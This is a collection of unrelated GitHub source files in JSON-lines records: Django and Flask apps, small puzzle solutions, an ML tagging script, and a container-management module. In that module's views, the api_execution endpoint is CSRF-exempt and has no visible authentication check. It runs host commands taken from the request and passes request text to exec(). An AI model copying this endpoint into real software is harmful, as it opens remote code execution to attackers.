path('countries',views.countries,name=\"register\"),\n path('stateFetch/', views.stateFetch),\n path('cityFetch/', views.cityFetch),\n path('ContentTable/',views.ContentTable,name=\"ContentTable\"),\n path('UpdatePost/',views.UpdatePost,name=\"UpdatePost\"),\n path('delete/',views.delete_post,name=\"deletepost\"),\n path('PostStatus/',views.PostStatus,name=\"PostStatus\"),\n]\n\n","repo_name":"Anushit/Adiyogi","sub_path":"frontend/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1335,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"30013621976","text":"import sys\n\ndef cal_width(address):\n width = 0\n for i in address:\n i = int(i)\n if i == 0:\n width += 4\n elif i == 1:\n width += 2\n else:\n width += 3\n return width +len(address) + 1\n\n\ncases = []\nwhile True:\n input_str = input()\n if input_str == '0':\n break\n cases.append(cal_width(input_str))\n\nfor i in cases:\n print(i)","repo_name":"kangtae210/leetCode","sub_path":"B_1284.py","file_name":"B_1284.py","file_ext":"py","file_size_in_byte":405,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"36366882808","text":"from localground.apps.site.tests import ModelMixin\nfrom django import test\nfrom localground.apps.site import models\n\n\nclass BaseAbstractModelClassTest(ModelMixin):\n # To run test:\n # $ python manage.py test localground.apps.site.tests.models.PhotoModelTest\n\n def test_classes_all_have_required_class_properties(self, **kwargs):\n c = self.model.__class__\n self.assertTrue(hasattr(c, 'object_type'))\n self.assertTrue(hasattr(c, 'model_name'))\n self.assertTrue(hasattr(c, 'pretty_name'))\n self.assertTrue(hasattr(c, 'model_name_plural'))\n self.assertTrue(hasattr(c, 'pretty_name_plural'))\n\n '''\n ----------------------------------------------------------------------------\n CLASS PROPERTIES\n Pick a class that inherits from Base and ensure that all of methods work.\n ----------------------------------------------------------------------------\n '''\n def test_object_type_prop(self):\n # Check that it works for a class and a method\n self.assertEqual(self.model.__class__.object_type, self.object_type)\n self.assertEqual(self.model.object_type, self.object_type)\n\n def test_model_name_prop(self):\n # Check that it works for a class and a method\n self.assertEqual(self.model.__class__.model_name, self.model_name)\n self.assertEqual(self.model.model_name, self.model_name)\n\n\n def test_model_name_plural_prop(self):\n # Check that it works for a class and a method\n self.assertEqual(self.model.__class__.model_name_plural, self.model_name_plural)\n self.assertEqual(self.model.model_name_plural, self.model_name_plural)\n\n def test_pretty_name_prop(self):\n # Check that it works for a class and a method\n self.assertEqual(self.model.__class__.pretty_name, self.pretty_name)\n self.assertEqual(self.model.pretty_name, self.pretty_name)\n\n def test_pretty_name_plural_prop(self):\n # Check that it works for a class and a method\n self.assertEqual(self.model.__class__.pretty_name_plural, self.pretty_name_plural)\n self.assertEqual(self.model.pretty_name_plural, self.pretty_name_plural)\n\n '''\n ----------------------------------------------------------------------------\n CLASS PROPERTIES\n Pick a class that inherits from Base and ensure that all of methods work.\n ----------------------------------------------------------------------------\n '''\n def test_has_required_class_methods(self, **kwargs):\n c = self.model.__class__\n import inspect\n self.assertEqual(\n inspect.getargspec(c.get_model)[0],\n ['cls', 'model_name', 'model_name_plural']\n )\n self.assertTrue(hasattr(c, 'get_filter_fields'))\n self.assertTrue(hasattr(c, 'get_content_type'))\n\n def test_get_model_method_returns_model_unless_args_missing(\n self, **kwargs):\n from localground.apps.site import models\n self.assertEqual(models.Base.get_model(\n model_name=self.model_name), self.model.__class__\n )\n self.assertEqual(models.Base.get_model(\n model_name_plural=self.model_name_plural), self.model.__class__\n )\n\n # Ensure no arguments yields an error message:\n with self.assertRaises(Exception) as e:\n models.Base.get_model()\n self.assertEqual(\n e.exception.message,\n \"either model_name or model_name_plural argument is required\"\n )\n\n def test_get_filter_fields_returns_correct_tuple(self, **kwargs):\n from localground.apps.site import models\n self.assertEqual(models.Base.get_filter_fields(), {})\n self.assertEqual(len(models.Photo.get_filter_fields()), 11)\n self.assertEqual(\n self.model.__class__.get_filter_fields().keys(),\n self.model.get_filter_fields().keys(),\n [\n 'attribution',\n 'name',\n 'file_name_orig',\n 'tags',\n 'point',\n 'owner',\n 'project',\n 'caption',\n 'device',\n 'date_created',\n 'id'\n ])\n\n def test_get_content_type_returns_correct_type(self, **kwargs):\n from localground.apps.site import models\n from django.contrib.contenttypes.models import ContentType\n self.assertEqual(models.Base.get_content_type().name, \"base\")\n self.assertEqual(\n self.model.__class__.get_content_type().name,\n self.model.get_content_type().name,\n self.model_name\n )\n","repo_name":"LocalGround/localground","sub_path":"apps/site/tests/models/abstract_base_tests.py","file_name":"abstract_base_tests.py","file_ext":"py","file_size_in_byte":4622,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"32"} +{"seq_id":"23474952720","text":"from random import *\n\nglobal p_chips\nglobal bet\n# global p_total\n# global d_total\n# global p_card_1\n# global p_card_2\n# global d_card_1\n# global d_card_2\n# global p_value_1\n# global p_value_2\n# global d_value_2\n# global d_value_2\n\np_chips = 1000\nbet = 25\n# p_total = 0\n# d_total = 0\n# p_card_1 = 0\n# p_card_2 = 0\n# d_card_1 = 0\n# d_card_2 = 0\n# p_value_1 = 0\n# p_value_2 = 0\n# d_value_2 = 0\n# d_value_2 = 0\n\ndef play_again_request():\n request = input('Would you like to play again? [y/n]: ')\n while request.lower().replace(' ', '') != 'y' or request.lower().replace(' ', '') != 'n':\n continue\n if request.lower().replace(' ', '') == 'y':\n blackjjack_game()\n elif request.lower().replace(' ', '') == 'n':\n quit()\n\ndef deck():\n deck = []\n values = ['2','3','4','5','6','7','8','9','10','J','Q','K', 'A']\n types = ['Clubs','Diamonds','Hearts','Spades']\n for type in types:\n for value in values:\n deck.append(value + ' of ' + type)\n return deck\ngame_deck = deck()\n\ndef new_card(deck):\n return deck[randint(0,len(deck)-1)]\n\ndef remove_card(deck, card):\n return deck.remove(card)\n\ndef card_value(card):\n if card[:1] in ('23456789'):\n return int(card[:1])\n elif card[:1] in ('1JQK'):\n return 10\n elif card[:1] == 'A':\n # need to make it not callable when it is dealer's card, so that dealer choose automatically\n print(f'One of your cards is {card}.')\n num = input('Do you want this to be 1 or 11 points? [1/11]: ')\n while num != '1' or num != '11':\n if num == '1':\n print(f'{card} will be equal to 1 now.\\n')\n return int(1)\n elif num == '11':\n print(f'{card} will be equal to 11 now.\\n')\n return int(11)\n else:\n num = input('1 or 11? ')\n\ndef p_hand_creation():\n# Player's Hand creation:\n p_card_1 = new_card(game_deck)\n remove_card(game_deck, p_card_1)\n p_card_2 = new_card(game_deck)\n remove_card(game_deck, p_card_2)\n print (f'\\nYou\\'ve got {p_card_1} and {p_card_2}.')\n p_value_1 = card_value(p_card_1)\n p_value_2 = card_value(p_card_2)\n p_total = p_value_1 + p_value_2\n print(f'Total is: {p_total}\\n')\n return p_card_1, p_card_2, p_value_1, p_value_2, p_total\n\ndef d_hand_creation():\n# Dealer's Hand creation:\n d_card_1 = new_card(game_deck)\n remove_card(game_deck, d_card_1)\n d_card_2 = new_card(game_deck)\n remove_card(game_deck, d_card_2)\n print('Dealer draws two cards - one of them face up and one is a hole card (face down).')\n print(f'First card is {d_card_1}.\\n')\n d_value_1 = card_value(d_card_1)\n d_value_2 = card_value(d_card_2)\n d_total = d_value_1 + d_value_2\n return d_card_1, d_card_2, d_value_1, d_value_2, d_total\n\ndef p_hit():\n p_card_extra = new_card(game_deck)\n remove_card(game_deck, p_card_extra)\n p_value_extra = card_value(p_card_extra)\n p_total += p_value_extra\n print(f'You\\'ve got {p_card_extra}, and your current Total is {p_total}.')\n game_condition_check()\n return p_total\n\ndef p_stand():\n print(f'\\nThe dealer discloses his hole card. It is {d_card_2}.')\n print(f'So he has {d_card_1} and {d_card_2} with a Total of {d_total}.\\n')\n while d_total < 17:\n print('The Dealer hits again.')\n d_card_extra = new_card(game_deck)\n d_value_extra = card_value(d_card_extra)\n d_total += d_value_extra\n print(f'The card is {d_card_extra} and new Total is {d_total}\\n')\n game_condition_check()\n\ndef game_condition_p_blackjack():\n print('Blackjack! You won! You gain 1.5 * Your Bet.')\n p_chips += (bet * 1.5)\n p_chips = round(p_chips)\n print(f'You currently have {p_chips} chips.')\n play_again_request()\n\ndef game_condition_d_blackjack():\n p_chips -= bet\n print(f'Dealer has Blackjack! You have lost your Bet of {bet}')\n print(f'Your account is {p_chips} chips now.')\n play_again_request()\n\ndef game_condition_push():\n print('It\\'s a Push! (draw) ')\n print(f'You still have {p_chips} chips.')\n play_again_request()\n\ndef game_condition_loss():\n p_chips -= bet\n print(f'You have {p_total} points. You have lost your Bet of {bet}')\n print(f'Your account is {p_chips} chips now.')\n play_again_request()\n\ndef game_condition_check():\n if p_total == 21 and d_total != 21:\n game_condition_p_blackjack()\n if p_total != 21 and d_total == 21:\n game_condition_d_blackjack()\n if p_total == 21 and d_total == 21:\n game_condition_push()\n if p_total > 21:\n game_condition_loss()\n\ndef game_body():\n while True:\n p_card_1, p_card_2, p_value_1, p_value_2, p_total = p_hand_creation()\n d_card_1, d_card_2, d_value_1, d_value_2, d_total = d_hand_creation()\n decision = input('Would you like to Hit or Stand? [h/s]: ')\n if decision.lower().replace(' ', '') == 'h':\n p_hit()\n game_condition_check()\n if decision.lower().replace(' ', '') == 's':\n p_stand()\n game_condition_check()\n\ngame_body()","repo_name":"RealHomoBulla/Beetroot_Academy_Homeworks","sub_path":"BlackJack/MyBlackJack_Ver_1.py","file_name":"MyBlackJack_Ver_1.py","file_ext":"py","file_size_in_byte":5132,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"29188636640","text":"from Header import Header\n\nclass ROM(object):\n def __init__(self, rom_path: str):\n with open(rom_path, \"rb\") as file:\n self.rom = file.read()\n self.header = Header(self.rom[0:15])\n self.trainer_data = []\n if self.header.trainer:\n self.trainer_data = self.rom[16: 16 + 512]\n self.prg_data = self.rom[16 + 512: 16 + 512 + self.header.prg_data_size]\n else:\n self.prg_data = self.rom[16: 16 + self.header.prg_data_size]\n \n","repo_name":"ch3rag/NESPY","sub_path":"ROM.py","file_name":"ROM.py","file_ext":"py","file_size_in_byte":511,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"19897484148","text":"__all__ = [\n \"dictify\",\n \"UNICODE\",\n \"BINARY\"\n]\n\nfrom collections import OrderedDict\nfrom typing import Any, Dict, Union\n\n\ndef dictify(od: Union[OrderedDict, Any]) -> Dict[Any, Any]:\n \"\"\"Recursively replace OrderedDict with dict\"\"\"\n if isinstance(od, OrderedDict):\n return dict((k, dictify(v)) for k, v in od.items())\n else:\n return od\n\n\ndef BINARY(s: Union[str, bytes]) -> bytes:\n if isinstance(s, str):\n return s.encode(\"utf-8\")\n elif isinstance(s, bytes):\n return s\n else:\n raise TypeError(\"%s cannot be converted to binary\" % type(s))\n\n\ndef UNICODE(s: Union[str, bytes]) -> str:\n if isinstance(s, bytes):\n return s.decode(\"utf-8\")\n elif isinstance(s, str):\n return s\n else:\n return str(s)\n","repo_name":"skupperproject/skupper-router","sub_path":"python/skupper_router_internal/compat/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":785,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"32"} +{"seq_id":"29808315715","text":"from flask import Blueprint, request\nfrom pymongo import MongoClient\nfrom bson.json_util import dumps\nimport jwt\nimport os\nimport bcrypt\nimport datetime\nfrom misc.stripeexpire import StripeExpireCheck\n\nuserSettings = Blueprint('userSettings', __name__) # router\n\n# security\ntoken_key = os.environ.get('TOKEN_KEY')\nmongo_url = os.environ.get('MONGODB_URI')\n\n# MongoDB\nclient = MongoClient(mongo_url or 'mongodb://localhost:27017/')\ndb = client.magicpill\ncollection = db.userSettings\n\n\n# get\n@userSettings.route(\"/user-settings\", methods=['POST'])\ndef get():\n token = request.get_json()['token']\n # language = request.get_json()['language']\n decoded = jwt.decode(token, token_key, algorithms='HS256')\n\n if decoded:\n results = collection.find({'userId': decoded['_id']})\n return dumps(results)\n else:\n return dumps(False)\n\n\n# new\n@userSettings.route(\"/new-user-settings\", methods=['POST'])\ndef new():\n token = request.get_json()['token']\n items = request.get_json()['items']\n decoded = jwt.decode(token, token_key, algorithms='HS256')\n\n if decoded:\n id = decoded['_id']\n stripe = StripeExpireCheck(id)\n\n if stripe > 0:\n collection.insert({\n \"_id\" : items['_id'],\n \"userId\" : id,\n \"dietType\" : items['dietType'],\n \"lbs\" : items['lbs'],\n \"macros\" : items['macros']\n })\n return dumps(True)\n\n elif stripe < 0:\n return dumps({'expired': True})\n\n return dumps(False)\n\n else:\n return dumps(False)\n\n\n# update\n@userSettings.route(\"/user-settings\", methods=['PUT'])\ndef update():\n token = request.get_json()['token']\n itemId = request.get_json()['itemId']\n items = request.get_json()['items']\n decoded = jwt.decode(token, token_key, algorithms='HS256')\n\n if decoded:\n id = decoded['_id']\n stripe = StripeExpireCheck(id)\n\n if stripe > 0:\n collection.update_one({'_id': itemId}, {'$set': items})\n return dumps(True)\n\n elif stripe < 0:\n return dumps({'expired': True})\n\n return dumps(False)\n\n else:\n return dumps(False)\n","repo_name":"tumeware/Calorie-Counter-Server","sub_path":"routes/userSettings.py","file_name":"userSettings.py","file_ext":"py","file_size_in_byte":2322,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"70122502811","text":"\nimport os\nfrom tqdm import tqdm\nfrom loguru import logger\nfrom argparse import ArgumentParser\n\nfrom mmcls.apis import init_model\n\nfrom tools.custom_tools.utils import save_labelbee\nfrom tools.custom_tools.inference import \\\n inference_multi_label_model, inference_multi_task_model\n\n\nATTRIBUTES = ['types', 'colors']\nCLASSES = [\n ['bus', 'car', 'suv', 'truck', 'van'],\n ['black', 'blue', 'coffee', 'gray', 'green', 'red', 'orange', 'white', 'yellow']\n]\n\n\ndef main():\n parser = ArgumentParser()\n parser.add_argument('config', help='Config file')\n parser.add_argument('checkpoint', help='Checkpoint file')\n parser.add_argument('input', default=None, help='Image input path')\n parser.add_argument('--mode', default='debug', \n help='multilabel or multitask, or debug')\n parser.add_argument(\n '--device', default='cuda:0', help='Device used for inference')\n args = parser.parse_args()\n\n # build the model from a config file and a checkpoint file\n model = init_model(args.config, args.checkpoint, device=args.device)\n\n items = [os.path.join(args.input, p) for p in os.listdir(args.input)]\n\n # predict\n if args.mode == 'debug':\n for item in items:\n try:\n _ = inference_multi_label_model(model, item, CLASSES)\n except AttributeError:\n logger.debug(item)\n logger.info(\"Everything is ok! You can reset the DEBUG False.\")\n else:\n assert args.mode in ['multilabel', 'multitask', 'debug'], \\\n f\"Mode must be in multilabel or multitask, but got {args.mode}.\"\n for item in tqdm(items):\n if args.mode == 'multilabel':\n res = inference_multi_label_model(model, item, CLASSES, mode='tag')\n else:\n res = inference_multi_task_model(model, item, CLASSES, mode='tag')\n result = {ATTRIBUTES[i]: res['pred_class'][i] for i in range(len(ATTRIBUTES))}\n save_labelbee(item, result)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"David-19940718/mmclassification","sub_path":"tools/custom_tools/tag_multilabel_and_multitask.py","file_name":"tag_multilabel_and_multitask.py","file_ext":"py","file_size_in_byte":2038,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"32"} +{"seq_id":"16465786498","text":"\n\nCOMMAND_MAP = {\n '>': (1, 0),\n '<': (-1, 0),\n '^': (0, 1),\n 'v': (0, -1)\n}\n\n\ndef part_1(data_str):\n pos_x, pos_y = 0, 0\n house_count = {(pos_x, pos_y): 1}\n for command in data_str:\n pos_x += COMMAND_MAP[command][0]\n pos_y += COMMAND_MAP[command][1]\n if (pos_x, pos_y) in house_count:\n house_count[(pos_x, pos_y)] += 1\n else:\n house_count[(pos_x, pos_y)] = 1\n return len(list(house_count.values()))\n\n\ndef part_2(data_str):\n pos_s_x, pos_s_y = 0, 0\n pos_r_x, pos_r_y = 0, 0\n santa_house_count = {(pos_s_x, pos_s_y): 1}\n robot_house_count = {(pos_r_x, pos_r_y): 1}\n\n for idx, command in enumerate(data_str):\n active = santa_house_count if idx % 2 == 0 else robot_house_count\n\n active_x, active_y = (pos_s_x, pos_s_y) if idx % 2 == 0 else (pos_r_x, pos_r_y)\n\n active_x += COMMAND_MAP[command][0]\n active_y += COMMAND_MAP[command][1]\n\n if (active_x, active_y) in active:\n active[(active_x, active_y)] += 1\n else:\n active[(active_x, active_y)] = 1\n if idx % 2 == 0:\n pos_s_x, pos_s_y = active_x, active_y\n else:\n pos_r_x, pos_r_y = active_x, active_y\n\n santa_house_count.update(robot_house_count) # combine the dict to remove overlaps\n return len(list(santa_house_count.values()))\n\n\nwith open('input.in') as f:\n data = f.read()\n print(\"Part 1: {}\".format(part_1(data)))\n print(\"Part 2: {}\".format(part_2(data)))\n","repo_name":"DawoudSheraz/advent-of-code-2015","sub_path":"Day 3/day_3.py","file_name":"day_3.py","file_ext":"py","file_size_in_byte":1513,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"2827258023","text":"import cv2\nimport numpy as np\n\nframe = cv2.imread('kus.png',0)\n#Numpy ile kernel matris tanımı\nkernel = np.ones((25,25),np.uint8)\n\n#Açma\nsonuc = cv2.morphologyEx(frame, cv2.MORPH_OPEN, kernel)\ncv2.imshow(\"Sonuc\", sonuc)\n\ncv2.waitKey(0)","repo_name":"mesutpiskin/computer-vision-guide","sub_path":"code/morfolojik-goruntu-isleme/python/acinim-opening.py","file_name":"acinim-opening.py","file_ext":"py","file_size_in_byte":238,"program_lang":"python","lang":"tr","doc_type":"code","stars":359,"dataset":"github-code","pt":"32"} +{"seq_id":"15178893279","text":"import json\nimport pkgutil\nimport subprocess\nimport simplejson\n# Stacktrace stuff\nimport traceback\n\nimport colorama\nimport urllib3\nfrom django.http import HttpResponse, JsonResponse\nfrom django.shortcuts import redirect\nfrom django.template import loader\nfrom django.views.decorators.csrf import csrf_exempt\nfrom pylxd import Client\nfrom django.core import serializers\nfrom datetime import *\n\nfrom .models import Container, Pool, Image\nfrom containers_site.COPA_general import *\n\n# Disable SSL warnings on terminal\nurllib3.disable_warnings()\n\n# Enable colorama module for Stacktrace\ncolorama.init()\n\n\ndef load_modules_from_dir(dirname):\n for importer, package_name, _ in pkgutil.iter_modules([dirname]):\n full_package_name = \"%s.%s\" % (dirname, package_name)\n mdl = importer.find_module(package_name).load_module(full_package_name)\n return mdl\n\n\ndef alert_type(content):\n a_type = {\"success\": \"alert-success\",\n \"error\": \"alert-danger\",\n \"info\": \"alert-info\",\n \"warning\": \"alert-warning\"}\n return a_type[content]\n\n\ndef index(request):\n return redirect(\"welcome\")\n\n\ndef welcome(request):\n template = loader.get_template(\"core/welcome.html\")\n return HttpResponse(template.render({}, request))\n\n\ndef containers_list(request, message=\"\", alert=\"\"):\n containers = dict()\n template = loader.get_template(\"core/containers_list.html\")\n servers = get_server_list()\n for server in servers:\n pk_server = Pool.objects.get(name=server)\n o_ip = get_ip_by_name(server)\n try:\n client_server = create_client(o_ip)\n containers[server] = dict()\n all_obj_server = Container.objects.filter(pool=pk_server)\n for o in all_obj_server:\n if o.full_network_info is not None:\n o.full_network_info = json.loads(o.full_network_info)\n\n containers[\n server] = all_obj_server # client_server.containers.all()\n except Exception as e:\n message += \"
  • Error obtaining the containers list on server\" \\\n \" {}: {}
  • \".format(o_ip, str(e))\n alert = alert_type(\"error\")\n\n # Stacktrace\n colorama.Fore.RED + traceback.format_exc() + colorama.Fore.RESET\n\n params = {\"containers\": containers,\n \"servers\": servers,\n \"message\": message,\n \"title\": \"Containers\",\n \"alert_type\": alert}\n return HttpResponse(template.render(params, request))\n\n\ndef containers_start(request, xhost, container_name):\n host = get_ip_by_name(xhost)\n try:\n client_server = create_client(host)\n container = client_server.containers.get(container_name)\n result = container.start(wait=True)\n cont_obj = Container.objects.get(name=container_name,\n pool=Pool.objects.get(name=xhost))\n cont_obj.status = container.status\n cont_obj.save()\n message = \"Container started successful.\"\n alert = alert_type(\"success\")\n except Exception as e:\n message = \"Container error to start: \" + str(e)\n alert = alert_type(\"error\")\n\n # Stacktrace\n colorama.Fore.RED + traceback.format_exc() + colorama.Fore.RESET\n\n return containers_list(request, message, alert)\n\n\ndef containers_stop(request, xhost, container_name):\n host = get_ip_by_name(xhost)\n try:\n client_server = create_client(host)\n container = client_server.containers.get(container_name)\n result = container.stop(wait=True)\n cont_obj = Container.objects.get(name=container_name,\n pool=Pool.objects.get(name=xhost))\n cont_obj.status = container.status\n cont_obj.save()\n message = \"Container stopped successful.\"\n alert = alert_type(\"success\")\n except Exception as e:\n message = \"Container error stop: \" + str(e)\n alert = alert_type(\"error\")\n\n # Stacktrace\n colorama.Fore.RED + traceback.format_exc() + colorama.Fore.RESET\n\n return containers_list(request, message, alert)\n\n\ndef containers_delete(request, xhost, container_name):\n host = get_ip_by_name(xhost)\n try:\n client_server = create_client(host)\n container = client_server.containers.get(container_name)\n result = container.delete(wait=True)\n Container.objects.get(pool=Pool.objects.get(name=xhost),\n name=container_name).delete()\n message = \"Container deleted successfully.\"\n alert = alert_type(\"success\")\n except Exception as e:\n message = \"Container error to delete: \" + str(e)\n alert = alert_type(\"error\")\n\n # Stacktrace\n colorama.Fore.RED + traceback.format_exc() + colorama.Fore.RESET\n\n return containers_list(request, message, alert)\n\n\ndef containers_freeze(request, xhost, container_name):\n host = get_ip_by_name(xhost)\n try:\n client_server = create_client(host)\n container = client_server.containers.get(container_name)\n result = container.freeze(wait=True)\n cont_obj = Container.objects.get(name=container_name,\n pool=Pool.objects.get(name=xhost))\n cont_obj.status = container.status\n cont_obj.save()\n message = \"Container frozen successful.\"\n alert = alert_type(\"success\")\n except Exception as e:\n message = \"Container error to frozen: \" + str(e)\n alert = alert_type(\"error\")\n\n # Stacktrace\n colorama.Fore.RED + traceback.format_exc() + colorama.Fore.RESET\n\n return containers_list(request, message, alert)\n\n\ndef containers_new(request):\n servers = None\n images = None\n message = \"\"\n alert = \"\"\n try:\n servers = get_server_list()\n except Exception as e:\n message += \"Error getting the server list: {}.\".format(e)\n alert = alert_type(\"error\")\n\n try:\n images = get_images_list()\n except Exception as e:\n message += \"Error getting the images list: {}.\".format(e)\n alert = alert_type(\"error\")\n\n template = loader.get_template(\"core/new_container.html\")\n params = {\"servers\": servers,\n \"images\": images,\n \"message\": message,\n \"alert_type\": alert}\n return HttpResponse(template.render(params, request))\n\n\ndef containers_add(request):\n message = \"\"\n a_type = alert_type(\"success\")\n container_name = str(request.POST.get(\"container_name\"))\n xserver = str(request.POST.get(\"server\"))\n image_type = str(request.POST.get(\"image_type\"))\n profile = str(request.POST.get(\"profile\"))\n wait_creation = bool(request.POST.get(\"wait_creation\"))\n values = []\n config = {\"name\": container_name,\n \"source\": {\"server\": \"https://\" + IMAGE_HOST + \":8443\",\n \"protocol\": \"lxd\",\n \"type\": \"image\",\n \"mode\": \"pull\",\n \"fingerprint\": image_type}\n }\n server = get_ip_by_name(xserver)\n try:\n client_server = create_client(server)\n print(\"HERE!\")\n container = client_server.containers.create(config, wait=wait_creation)\n print(\"HERE\")\n container.start()\n message = \"Container created sucessfully, go to admin container go \" \\\n \"to Containers list\"\n Container(name=container_name,\n pool=Pool.objects.get(name=xserver),\n status=container.status).save()\n except Exception as e:\n message = \"Container creation error: \" + str(\n e) + \" / \" + server + \" / \" + xserver\n a_type = alert_type(\"error\")\n\n servers = get_server_list()\n images = get_images_list()\n params = {\"servers\": servers,\n \"images\": images,\n \"values\": values,\n \"message\": message,\n \"alert_type\": a_type}\n template = loader.get_template(\"core/new_container.html\")\n return HttpResponse(template.render(params, request))\n\n\ndef containers_migrate(request, origin, name_container, destination):\n ip_origin = get_ip_by_name(origin)\n ip_destination = get_ip_by_name(destination)\n try:\n client_origin = create_client(ip_origin)\n container = client_origin.containers.get(name_container)\n client_destination = create_client(ip_destination)\n container.migrate(client_destination, wait=True)\n container = client_origin.containers.get(name_container)\n container.delete(wait=True)\n cont_obj = Container.objects.get(name=name_container,\n pool=Pool.objects.get(name=origin))\n cont_obj.pool = Pool.objects.get(name=destination)\n cont_obj.save()\n message = \"Container migration successful.\"\n alert = alert_type(\"success\")\n except Exception as e:\n message = \"Container migration error: \" + str(e)\n alert = alert_type(\"error\")\n\n # Stacktrace\n colorama.Fore.RED + traceback.format_exc() + colorama.Fore.RESET\n\n return containers_list(request, message, alert)\n\n\ndef containers_terminal(request, server, container_name):\n server_socket = request.get_host().replace(\":\" + request.get_port(), \"\")\n container_address = get_ip_by_name(server) + \"/\" + container_name\n template = loader.get_template(\"core/terminal.html\")\n return HttpResponse(template.render({\"container_address\": container_address,\n \"server_socket\": server_socket,\n \"container_name\": container_name},\n request))\n\n\ndef containers_info(request, xhost, container_name):\n host = get_ip_by_name(xhost)\n template = loader.get_template(\"core/container_info.html\")\n try:\n client_server = create_client(host)\n container = Container.objects.get(name=container_name, pool=xhost)\n if container.full_network_info is not None:\n container.full_network_info = json.loads(\n container.full_network_info)\n except Exception as e:\n container = None\n message = \"Error deleting container: \" + str(e)\n alert = alert_type(\"error\")\n\n # Stacktrace\n colorama.Fore.RED + traceback.format_exc() + colorama.Fore.RESET\n\n params = {\"container\": container,\n \"title\": \"Container information\"}\n return HttpResponse(template.render(params, request))\n\n\ndef containers_unfreeze(request, xhost, container_name):\n a_type = alert_type(\"success\")\n host = get_ip_by_name(xhost)\n try:\n client_server = create_client(host)\n container = client_server.containers.get(container_name)\n result = container.unfreeze(wait=True)\n cont_obj = Container.objects.get(name=container_name,\n pool=Pool.objects.get(name=xhost))\n cont_obj.status = container.status\n cont_obj.save()\n message = \"Container unfreeze successful\"\n except Exception as e:\n message = \"Container error unfreeze: \" + str(e)\n a_type = alert_type(\"error\")\n\n return containers_list(request, message, a_type)\n\n\n@csrf_exempt\ndef api_execution(request):\n response = {}\n code = -1\n result = None\n try:\n ostring = request.body\n js = json.loads(ostring)\n\n oper = js[\"operation\"]\n\n if oper == \"copa_host_command\":\n command = js[\"cmd\"]\n if not isinstance(command, list):\n raise Exception(\"Parameter 'cmd' must be a list\")\n result = subprocess.check_output(command)\n\n elif oper == \"copa_module_execution\":\n pycom = js[\"method\"]\n args = js[\"args\"]\n if pycom == \"\":\n raise Exception(\"Error: You must select the procedure/function \"\n \"to be called!\")\n load_modules_from_dir(COPA_HOME + \"/containers_site/core/\"\n \"copa_modules/\")\n exec(\"result = modules.\" + pycom + \"( \" + args + \") \")\n\n else:\n x_server = get_ip_by_name(js[\"container_pool\"])\n server = create_client(x_server)\n\n if oper not in [\"create\", \"images_list\"]:\n x_container = js[\"container_name\"]\n db_container = Container.objects.get(name=x_container,\n pool=x_server)\n container = server.containers.get(x_container)\n\n if oper == \"start\":\n container.start(wait=True)\n db_container.status = container.status\n db_container.save()\n message = \"Container created successfully.\"\n\n elif oper == \"stop\":\n container.stop(wait=True)\n db_container.status = container.status\n db_container.save()\n message = \"Container stopped successfully.\"\n\n elif oper == \"freeze\":\n container.freeze(wait=True)\n db_container.status = container.status\n db_container.save()\n message = \"Container frozen successfully.\"\n\n elif oper == 'unfreeze':\n container.unfreeze(wait=True)\n db_container.status = container.status\n db_container.save()\n message = \"Container unfrozen successfully\"\n\n elif oper == \"delete\":\n container.delete(wait=True)\n db_container.status = container.status\n db_container.save()\n message = \"Container deleted successfully.\"\n\n elif oper == \"migrate\":\n ip_destination = get_ip_by_name(js[\"destination_pool\"])\n client_destination = create_client(ip_destination)\n container.migrate(client_destination, wait=True)\n message = \"Container migration successful.\"\n container = server.containers.get(x_container)\n container.delete(wait=True)\n db_container.pool = Pool.objects.get(\n name=js[\"destination_pool\"])\n db_container.status = container.status\n db_container.save()\n\n elif oper == \"information\":\n infos = container.state()\n result = dict()\n result[\"cpu\"] = infos.cpu # just available in lxd >= 2.19\n result[\"disk\"] = infos.disk\n result[\"memory\"] = infos.memory\n result[\"network\"] = infos.network\n\n elif oper == \"command_execution\":\n command = js[\"cmd\"]\n if not isinstance(command, list):\n raise Exception(\"Parameter 'cmd' must be a list\")\n result = container.execute(command)\n\n elif oper == \"create\":\n container_name = js[\"container_name\"]\n container_pool = get_ip_by_name(js[\"container_pool\"])\n image_type = js[\"image_type\"]\n values = []\n config = {\"name\": container_name,\n \"source\": {\n \"server\": \"https://\" + IMAGE_HOST + \":8443\",\n \"protocol\": \"\",\n \"type\": \"image\",\n \"mode\": \"pull\",\n \"fingerprint\": image_type}}\n client_server = create_client(container_pool)\n\n container = client_server.containers.create(config, wait=True)\n Container(name=container_name,\n pool=Pool.objects.get(name=container_pool),\n status=container.status).save()\n message = \"Container created successfully\"\n\n elif oper == \"images_list\":\n result = get_images_list()\n\n else:\n raise Exception(\"Unknown operation\")\n\n code = 0\n message = \"Process successful\"\n except Exception as e:\n message = \"COPA API error: \" + str(e)\n\n response[\"code\"] = code\n response[\"message\"] = message\n response[\"result\"] = result\n\n return JsonResponse(response, safe=False)\n","repo_name":"fernandaars/COPA","sub_path":"COPA_ufrgs/containers_site/core/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":16636,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"33205543694","text":"import sys\n\n\ndef build_dict(filepath):\n\n word_freq = {}\n with open(filepath) as text_file:\n for line in text_file:\n words = line.lower().split()\n for word in words:\n word_freq[word] = word_freq.get(word, 0) + 1\n '''\n # above line is same as below\n if word in word_freq:\n word_freq[word] += 1\n else:\n word_freq[word] = 1\n '''\n return word_freq\n\n\ndef print_words(filepath):\n\n word_freq = build_dict(filepath)\n for word, freq in sorted(word_freq.items()):\n print(word + ' ' + str(freq))\n\n\ndef print_top(filepath):\n\n word_freq = 